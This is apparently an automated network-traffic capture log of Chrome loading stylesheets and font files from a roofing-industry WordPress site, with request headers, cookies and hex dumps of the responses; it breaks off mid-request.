2024-04-23 14:53:53 UTC	913	OUT	GET /wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: text/css Content-Length: 7043 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d40468-1b83-5ebcb23cbcac0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:53 UTC	7043	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 3a 23 61 34 36 34 39 37 3b 2d 2d 77 63 2d 67 72 65 65 6e 3a 23 37 61 64 30 33 61 3b 2d 2d 77 63 2d 72 65 64 3a 23 61 30 30 3b 2d 2d 77 63 2d 6f 72 61 6e 67 65 3a 23 66 66 62 61 30 30 3b 2d 2d 77 63 2d 62 6c 75 65 3a 23 32 65 61 32 63 63 3b 2d 2d 77 63 2d 70 72 69 6d 61 72 79 3a 23 61 34 36 34 39 37 3b 2d 2d 77 63 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 3a 77 68 69 74 65 3b 2d 2d 77 63 2d 73 65 63 6f 6e 64 61 72 79 3a 23 65 62 65 39 65 62 3b 2d 2d 77 63 2d 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 3a 23 35 31 35 31 35 31 3b 2d 2d 77 63 2d 68 69 67 68 6c 69 67 68 74 3a 23 37 37 61 34 36 34 3b 2d 2d 77 63 2d 68 69 67 68 6c 69 67 68 2d 74 65 78 74 3a 77 68 69 74 65 3b 2d 2d 77 63 2d 63 6f 6e 74 65 6e 74 Data Ascii: :root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:white;--wc-content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49848	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	1030	OUT	GET /wp-content/themes/u-design/inc/shared/font-awesome/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.asphaltroofing.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/shared/font-awesome/css/font-awesome.min.css?ver=3.3.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: font/woff2 Content-Length: 77160 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e21584-12d68-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:53 UTC	7649	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 2d 68 00 0d 00 00 00 02 86 98 00 01 2d 0e 00 04 01 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 20 06 60 00 85 72 11 08 0a 89 99 28 87 b6 58 01 36 02 24 03 95 70 0b 96 10 00 04 20 05 89 06 07 b4 75 5b 52 09 72 47 61 f7 91 84 2a ba 0d 81 27 ed 3d eb 3a b5 1a 26 d3 cd 3d 72 b7 2a 0a 02 19 e5 1a f1 f6 5d 04 74 07 dc 45 aa 6e a3 b2 ff ff ff ff e4 a4 31 46 db 0e dc 40 e0 d5 f4 fb 7c ad 8a 14 08 66 93 6d 92 60 9b 24 d8 91 a1 40 64 5b 42 51 11 24 28 5b 55 3c 2b 28 ad b8 40 50 d0 35 1e e4 60 81 b0 0e da 3e f6 50 10 1a 3b e1 28 91 d1 31 b3 fd 6c db fe 68 d4 a8 a2 c2 29 9f dc 59 79 94 f2 4a 69 e9 eb 17 ad 85 ce 7c 25 db 81 b7 5e ac 14 47 82 a2 33 b8 12 6e 9e 95 e8 ba da 95 dc 0a c4 cd 90 44 8a 9e Data Ascii: wOF2-h-?FFTM `r(X6$p u[RrGa'=:&=r]tEn1F@\|fm`$@d[BQ$([U<+(@P5`>P;(1lh)YyJi\|%^G3nD
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 91 89 64 b0 af 28 4b 44 e4 b4 b1 3a e2 9c 44 1e 93 2f 5b e5 23 a2 7f f5 24 41 0c c5 fb 23 4b 48 2e 11 3a 95 9e 78 3f 25 e6 db 56 f4 72 b7 15 40 01 5b 42 24 cc 7d 9e 63 f1 6f 18 e1 93 db 53 36 60 4c 50 66 4d 26 c9 94 80 9b 41 3c 3a 8a 07 ae 76 90 9e c3 9a 0a 51 d2 7e 50 df 1b 10 77 a1 92 ef 5b eb ed 2b 08 f7 9e 14 ad 91 86 8f fb 01 60 2b 6a a3 20 56 df c7 2b 8f 9e 52 2a e3 01 b6 b5 75 a3 6c 7f 21 14 0e a3 fe ea 7c fe 2b 27 af 4b 59 fe 36 9b 36 b6 cd 5f 06 eb 96 75 64 d2 7d 5f 03 87 ac dc 5b ff 79 75 db 98 95 6a 8e a5 00 b0 bb 6f 24 c6 e3 59 3d a0 79 6a 52 9c 11 69 29 8b 16 99 06 62 90 d4 8b 4c 61 44 28 bd 58 fd 55 ca 77 49 08 ab da bb 5a 80 16 24 f4 37 02 da bb ee 39 1a b9 fa 26 7f 99 d6 34 5a c3 dd d6 27 8c 93 44 46 9f f5 dd 10 5b 4e 5d c5 7e e6 64 18 44 Data Ascii: d(KD:D/[#$A#KH.:x?%Vr@[B$}coS6`LPfM&A<:vQ~Pw[+`+j V+R*ul!\|+'KY66_ud}_[yujo$Y=yjRi)bLaD(XUwIZ$79&4Z'DF[N]~dD
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 77 66 9e 77 72 c8 11 46 3c 47 9a 57 3e d9 c4 b8 bf b7 4d 13 b3 5d 0b 5c b3 a8 4e f8 d8 1e b0 73 b1 57 dd 8d 64 9d 3c d3 a1 fb d2 00 83 57 e5 00 bc 9d 08 aa 30 36 34 df fe 74 07 d5 c8 b4 ef d0 76 f0 c8 bb 30 3e d4 af 0c cc 04 88 ef d0 3b 20 04 08 bd 93 29 66 af 23 af 2a 09 a2 32 3c 02 fb 0e 68 fd cd 20 f7 1f 7e 27 42 18 c2 77 ac 0b 92 0f ba 6d a2 48 2f e2 19 9c bd d3 ec b7 03 90 af e1 77 71 4d b0 1d 0f f0 14 c9 d8 f6 6f ee 67 0c 13 10 1b 43 29 cc b5 36 37 db 23 e5 88 42 c6 53 90 f8 3e 5f 2d 15 5b cd c4 4c 7c 52 be 52 cf f1 90 cb d1 6c 14 51 83 7d ee 1c 5c 54 be 48 29 0a 9f 39 46 61 b1 bb 22 5e e0 62 a6 41 3a 91 dd b3 51 34 b1 bb 27 20 ca 3d bd 73 4f 09 0f a1 03 10 c3 f1 27 83 1b 19 40 02 2e 9a e8 d9 59 26 38 7a 0a 8a 2c 69 37 15 1a b2 b5 a3 ea fd 33 79 d8 Data Ascii: wfwrF<GW>M]\NsWd<W064tv0>; )f#*2<h ~'BwmH/wqMogC)67#BS>_-[L\|RRlQ}\TH)9Fa"^bA:Q4' =sO'@.Y&8z,i73y
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 81 1b 49 9d 16 f5 7d ff 3b ed dd 59 cd 9c c8 9d 94 44 4a 6d 5b f0 f6 e5 d0 4f ac ad 73 de a5 24 46 6c e5 58 8a 8e 7e a6 3d 2f 5f 18 bb e1 53 e9 4c ec b1 ec 17 4a c4 d3 dd 26 a8 c7 5e 28 0d 71 77 76 23 eb e3 bf 09 1e ef ea 92 8e fb ff 2e d1 50 df d9 e5 16 3a 62 42 f8 b1 66 1a 56 88 32 71 cb 67 6e 89 d9 99 0b af 8b 05 6c 38 56 d3 85 b8 b4 62 d1 e5 b4 30 17 83 61 47 2d 4f 54 6c 4f 3d 41 8c 66 93 b1 57 ec 4f d7 ad 4f 4a 9f fe 1d 7b 9b d5 cc 91 cd b2 b9 67 c6 f0 20 6b 19 3a 87 e1 f9 ed 49 fe e7 33 e4 cf 2a 7a 10 15 e6 9b 41 24 11 ff 87 f3 95 bd cc 8a 6b be 50 0d c9 60 e6 e6 b3 6e f5 46 47 78 29 eb 47 ff 52 50 45 25 bd 35 c4 5c fd 7d b7 ae da 12 c0 bc a9 33 db b5 52 75 75 9b de 08 57 e7 2d cc e8 f1 1f 99 fe 98 df fa 32 d4 14 d4 e6 fb b9 fa f4 a5 47 89 a2 12 fe Data Ascii: I};YDJm[Os$FlX~=/_SLJ&^(qwv#.P:bBfV2qgnl8Vb0aG-OTlO=AfWOOJ{g k:I3*zA$kP`nFGx)GRPE%5\}3RuuW-2G
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 9a 2f 16 c7 f5 a2 2f 0b e3 a5 d1 35 ed 70 01 c8 7f d7 9c ca 6f eb e8 91 74 92 ae 70 87 10 61 20 6a e9 a5 74 e0 62 45 91 12 9c 0b 45 a9 79 f6 b7 26 d0 a6 34 60 d8 af 11 89 bd b5 24 d2 4c 87 04 9d f9 22 ab 85 7f ad e7 83 4a 76 69 be 0c c1 6c ee 00 6a a3 5a 25 3d 27 29 be 96 38 96 18 65 e6 88 14 c8 e1 60 38 fc 54 ca e1 c7 ec 2a 8f 4d e7 38 f5 9b bb 2e ac 80 87 bb 8d d6 77 b8 7e 0f c9 e2 f5 5c 28 48 94 74 a4 76 0b 72 ab 22 6a 44 6f bd 47 10 47 0d e6 98 69 03 fe b2 84 6c 03 48 65 8c 86 25 69 61 26 39 b3 64 89 b6 cf 1c 64 3e f3 fc 0e 2d 69 0d b7 6c 4d 12 ee be dc b0 d9 16 a1 54 41 ef 94 24 b6 9c 56 48 47 7c e7 b3 ec 0a 88 17 24 c7 0f 0b 0b ea f9 3a 1d c7 12 31 52 0c 15 73 5c f0 5a 20 14 24 91 50 6a d7 db 87 bd 8f 5d d9 8b c6 67 d8 38 60 e7 b0 86 20 16 fb 7a df Data Ascii: //5potpa jtbEEy&4`$L"JviljZ%=')8e`8T*M8.w~\(Htvr"jDoGGilHe%ia&9dd>-ilMTA$VHG\|$:1Rs\Z $Pj]g8` z
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: ed 8b f3 f0 50 7c f3 b5 77 8d c3 34 65 6a 2d a5 a0 74 c2 db a0 5e c2 5c df 53 4b d7 2b 27 bc 4a e6 fb 52 9b 82 53 f4 8e 00 1d 66 99 f0 0e c8 e6 82 03 34 be 96 d4 96 2b c6 65 f9 d0 c7 22 d3 83 d6 6a 1a 5c 91 f3 ca 8c e0 45 cd 2e 02 c5 3e 70 b6 e6 ed 97 21 cd 5c ec be f5 42 f5 e0 b8 c3 7d 76 da 86 4e 21 07 22 66 c5 eb ba e3 52 8b 30 72 d6 47 c0 df bb c0 2a b9 d0 fd 1f 20 ad c6 f6 95 8d 2f 4a 95 e4 f3 e2 36 1b 98 4d 9a fe f1 6e ff eb ca 7e 8b ab 7d 7d 18 3c f1 ed 8e 1d 6f 13 e1 b0 e0 98 e7 6c cf b8 fb 70 ef fc bd 66 25 ed de ff 10 6e 7e dd d8 57 d5 58 ee 55 e1 bc 6c 11 41 21 b9 cb 8d 21 d3 ab c2 fd fd 38 eb 69 44 2a b9 7a 12 33 c9 d9 40 b8 85 45 59 6f ca 05 4a d2 4e f1 43 38 66 a4 04 b7 92 2c 03 e3 52 1d 12 09 9c c6 8f 83 6d d6 77 f0 ac 45 1b 0e c1 f1 28 c9 Data Ascii: P\|w4ej-t^\SK+'JRSf4+e"j\E.>p!\B}vN!"fR0rG* /J6Mn~}}<olpf%n~WXUlA!!8iD*z3@EYoJNC8f,RmwE(
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: f0 03 6a c0 9a c1 35 79 a4 d1 83 6f e5 29 5d ba 8d ef b1 2c bd 84 b6 2b e8 5d c7 2a d1 44 8c ac 38 39 bb c5 bc e2 9a f6 15 a6 a0 6d 53 8a dd 54 a5 49 cc f6 39 e2 ba b9 03 e3 ec db 22 aa fe ad c4 5f 4b 4b 67 68 c5 f0 26 c3 5c 5e 61 3d a4 0b 12 58 86 a7 1e 10 c6 fd 28 89 1c 75 60 ee b3 1d a5 6d 67 4f 1b 2c 8b d3 89 86 02 68 7d 81 fb 92 de 79 a8 06 24 99 03 db 92 12 a4 24 0c df 45 c6 fb 5b d3 e9 62 92 c7 e6 0c b3 5c 1d da 8a c8 78 6c 7e 5b c5 f0 be 00 d1 d3 6c 3a b2 0e e9 88 bc f6 2c b5 12 b3 dd cd 67 03 9f 5c 6a 81 1b 11 ad 67 59 13 ea 09 8e 88 27 07 b4 1c e5 26 66 29 e1 8b 47 4c 7c 9f c6 ad 2a e1 87 1c 51 db dc 70 72 a5 a3 83 7e ee 1a 3b ce 5a f1 b4 92 7f c3 49 5d ac dd 0d 21 3c f9 61 50 7f 42 b7 49 ee f3 0e 62 b8 43 55 78 d0 8f 1c 0e f6 fd 45 67 ff c6 43 Data Ascii: j5yo)],+]D89mSTI9"_KKgh&\^a=X(u`mgO,h}y$$E[b\xl~[l:,g\jgY'&f)GL\|Qpr~;ZI]!<aPBIbCUxEgC
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: ce 42 fd a9 2d 83 82 31 ea 3b 2c 82 8f 7b ea 7d 17 84 2c d2 9c dc 3d ad bf 73 8f de 6e 8c 89 3d c7 ba 4f 49 3b f6 24 7f aa ee d2 70 f2 ed c2 27 69 26 6b 8c 1f dc 37 ae d9 fa bd 47 2e ee f6 b1 12 e6 fd 8d ba 0f dd f6 cd 74 f4 00 14 30 ea 1b 72 05 b5 e8 0d 27 1d ad fc 62 5c 39 83 aa 72 7f 91 db ee 0d 6c 67 6a 4f dc da 2d 72 0c dc fe 92 6c f1 03 63 12 c5 ec 8b c3 37 69 63 6d 2b d3 21 15 ab 44 97 5d d5 f4 89 ce 61 31 3d d1 a4 35 71 81 8b 6c 06 7f 8e 0f ad 0e 6c ef db 06 d5 a3 a3 25 11 95 91 b4 1a d2 91 fd 6a c4 09 47 f7 64 54 0a c2 0f 76 02 2f a3 f4 f9 09 f5 88 23 f6 ec 8f 1f a9 bd 4e de be d5 5e c1 0c 78 93 9c ec 42 ae 3a c6 c1 dc 57 18 a9 da bc c9 8f 08 98 1b a4 45 d1 76 52 34 71 cf 03 55 3d 7a 6a 55 64 41 52 4b 16 d6 5d e4 95 d0 d4 14 ef b9 68 6c 21 d5 57 Data Ascii: B-1;,{},=sn=OI;$p'i&k7G.t0r'b\9rlgjO-rlc7icm+!D]a1=5qll%jGdTv/#N^xB:WEvR4qU=zjUdARK]hl!W
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: f9 0a ec 4d ea 6b f3 da 84 3a 93 27 da aa 0a bb 49 ea 8a 0c 95 06 f7 60 7c 79 ce 08 39 44 ed bc a6 f1 35 92 6e 8e f0 55 0e 3a ba 43 2b 2f 3e 39 55 c7 46 28 23 65 49 94 7c 95 4b 21 ba da e1 d0 92 93 6c 30 a8 a4 33 36 b1 d9 6e c7 4c 47 97 65 2a 36 4e 65 0d 2f cb 8c 1a ed d4 8e d7 c5 aa 6a 6a d5 9a e3 77 fa b4 ad f3 65 f5 c5 37 72 7c d1 82 90 e0 84 94 e4 d6 94 94 d6 e4 e4 04 99 a8 e8 ae 9e ec dd 0d 83 41 ea 9a 5a cd 53 aa 43 72 0a d6 94 42 e3 49 9b b2 6e 74 87 da d6 7e b5 2d cd 23 5a e3 56 bb 7f bb da c8 76 fa d6 1d 1b 4c b2 ac 42 01 1b 72 f9 a7 22 39 c5 97 35 9e d8 c3 39 e0 1e 80 38 56 06 be ea b8 78 ac 07 68 ea 5f 64 5e cb 3a 93 7c 78 6d 57 01 28 9f b7 7e ab df 0d fa 4d ea 79 81 2b a5 29 23 12 25 ca 82 b5 99 1f 75 fd aa 85 9d 82 7e de af be 16 fb 87 d1 89 Data Ascii: Mk:'I`\|y9D5nU:C+/>9UF(#eI\|K!l036nLGe*6Ne/jjwe7r\|AZSCrBInt~-#ZVvLBr"9598Vxh_d^:\|xmW(~My+)#%u~
2024-04-23 14:53:54 UTC	3975	IN	Data Raw: cc 43 3d 87 87 95 28 b0 46 c9 73 55 01 d7 3b cb 8f 28 2e f3 15 e4 26 89 ef 40 c3 b7 11 3f 4b 96 2a 17 01 d8 95 ca 31 a4 fc b8 45 3c 87 0a 0f 89 7c 67 d7 3c b4 25 0e 75 22 0a 93 b0 9a 04 6b 43 f0 44 19 25 ca ab 91 cd 70 80 7a 45 a9 5d ef 68 3f a4 2a 64 b3 50 67 c8 5c fb 1e 11 52 0a 44 db c4 87 00 ea 55 ba 24 46 c0 a3 26 d1 69 a8 e6 a9 87 f1 af 5a 3e 5e 3d 15 78 dc a0 e6 88 4b 48 55 4e 79 18 8f 9c aa 88 78 55 b4 c1 f6 04 71 9a e6 59 c9 02 c8 f8 64 2a d5 67 67 eb 6d 02 6e 4c 15 b8 25 ae 83 72 16 e4 b0 bc 21 da 40 94 d4 5a 22 13 c6 f2 9c 5b 1e 22 28 f2 cd 98 70 66 ea cf 6b ae 96 1b 22 76 87 82 e0 1b 24 0e be cf 81 39 26 7f 4c 9b 49 b4 51 1c a1 91 ef e0 56 fc 3a be bd b2 57 49 5a d4 6b 8a 37 e6 02 e3 54 54 be 21 cc 58 9b 35 32 51 a9 a8 dc 49 c1 e9 c1 65 28 8b Data Ascii: C=(FsU;(.&@?K1E<\|g<%u"kCD%pzE]h?dPg\RDU$F&iZ>^=xKHUNyxUqYd*ggmnL%r!@Z"["(pfk"v$9&LIQV:WIZk7TT!X52QIe(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49849	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	993	OUT	GET /wp-content/plugins/floating-top-link/fonts/floating-top-link.woff2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.asphaltroofing.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.asphaltroofing.org/wp-content/plugins/floating-top-link/css/floating-top-link.css?ver=1.0.5 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: font/woff2 Content-Length: 604 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "662481-25c-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:53 UTC	604	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 02 5c 00 0b 00 00 00 00 06 30 00 00 02 12 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 42 06 56 00 82 70 0a 2c 4a 01 36 02 24 03 08 0b 06 00 04 20 05 85 02 07 2c 1b 81 05 c8 0e 25 cd 08 c1 08 02 00 40 40 3c 0f 5c ea fb b7 d2 35 36 96 cb 63 02 86 3a 88 62 5a 92 25 70 5e ce d5 9a ee 27 29 8f 6f 54 67 65 80 65 91 15 da c7 bd 7b be 9b fb 2d c9 ba ca b2 33 8d 6c d9 78 9a b8 26 7f 01 3d 70 92 3f 52 e5 aa a9 1b 2b 80 36 9c c0 ce 9b aa 05 26 b2 f1 40 66 3a 73 6b 53 61 7e 6f 84 88 84 c5 90 31 46 48 8f e8 32 c1 90 35 2d d6 cd e6 fe 11 8c ab 60 5d 90 b7 48 ba 30 3e 05 55 2a ce 0c 88 46 d9 98 6a 6e d4 06 e2 5b d7 b8 ed 9f cf 08 2c bb a1 50 97 80 9a fb ee 46 00 cb ad 25 45 45 0f b8 6a 21 22 6f af 51 e2 04 a8 Data Ascii: wOF2\0BVp,J6$ ,%@@<\56c:bZ%p^')oTgee{-3lx&=p?R+6&@f:skSa~o1FH25-`]H0>U*Fjn[,PF%EEj!"oQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49847	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	1029	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-regular-400.woff2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.asphaltroofing.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	542	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: font/woff2 Content-Length: 13564 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "14e26ac-34fc-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:53 UTC	7650	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 34 fc 00 0d 00 00 00 00 85 30 00 00 34 a2 01 4a 7f 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 87 5a 11 08 0a 81 dd 44 81 ad 51 01 36 02 24 03 84 54 0b 82 36 00 04 20 05 8a 5b 07 8f 2b 1b 20 6b 07 c6 b8 9b 19 9c 07 10 45 9f f3 47 90 fd ff 9f 70 74 8c e1 18 0c d0 34 7b dd 2f 21 e5 a9 46 b2 1c 39 21 73 55 15 5b 5c 6b b2 46 6e b4 d2 dc 44 46 44 46 44 46 44 a8 22 69 d2 4e 0c d7 1c ad 31 70 e2 6d bb 84 11 f8 d0 15 fe 33 ef b4 42 8a 64 86 25 14 f5 dd de 16 95 dc 8f f8 12 4a e6 dd e8 6e a1 12 9f f7 85 d8 1f 8a a7 c3 1c 5c 66 63 6d b2 fe bc a9 dc e9 b8 43 ce a1 f2 8e f0 a1 94 f0 84 76 4f 6f 92 ec ee c7 01 76 e9 39 8b 95 6b 56 74 a0 b2 c9 0c aa 09 4d 50 46 82 e9 cc de 2f a1 82 d6 aa Data Ascii: wOF2404J\|?FFTM`ZDQ6$T6 [+ kEGpt4{/!F9!sU[\kFnDFDFDFD"iN1pm3Bd%Jn\fcmCvOov9kVtMPF/
2024-04-23 14:53:53 UTC	5914	IN	Data Raw: cb eb 53 23 ca 66 0b 6a 96 65 9f 2e c0 05 a6 a2 22 a7 33 ce bd a9 40 e7 ca eb 90 e8 ce 80 c7 dd f1 74 d3 83 79 5b be 8e fd e4 63 5f 53 b8 17 5e 9c 3f c9 4c 6e d7 f2 5f 63 4e 86 2c 4e 4a 4a 1e d7 0b 04 65 ad 65 8c 07 e0 5f f4 41 90 3d fc 9f bb 07 21 1a 2f d0 cc c4 18 8d d6 db 68 9c 74 cd 4e 4e c6 e8 d5 fb e4 01 6e 7a ac ff d6 2f 20 ce 97 f9 61 a8 98 90 18 c6 4b 5a 00 89 a8 21 89 48 9f 8d 97 bd b8 d6 b5 7d b3 78 f8 06 2f 44 ac 66 b7 49 38 75 19 2c ae 2e e5 23 bc 17 7a 4b 26 67 52 cb e8 97 18 04 42 54 87 3f d9 49 8a 9b 1a 74 34 6f 37 81 38 e2 bd 40 ea 27 d5 e0 a3 86 ba 63 4c 7d c8 dd bd f9 e4 1e 57 c4 90 48 da d8 6a 71 08 ef c6 b0 78 f0 bf cd d0 00 3d 89 ee 1a a4 9d 48 f9 2e 8e 11 92 7c af 19 d5 c4 02 ed bf db ec d1 9e dd 42 5f 02 b7 1b 4f 7e 0b ed 85 3f ba Data Ascii: S#fje."3@ty[c_S^?Ln_cN,NJJee_A=!/htNNnz/ aKZ!H}x/DfI8u,.#zK&gRBT?It4o78@'cL}WHjqx=H.\|B_O~?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49850	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	1027	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.asphaltroofing.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: 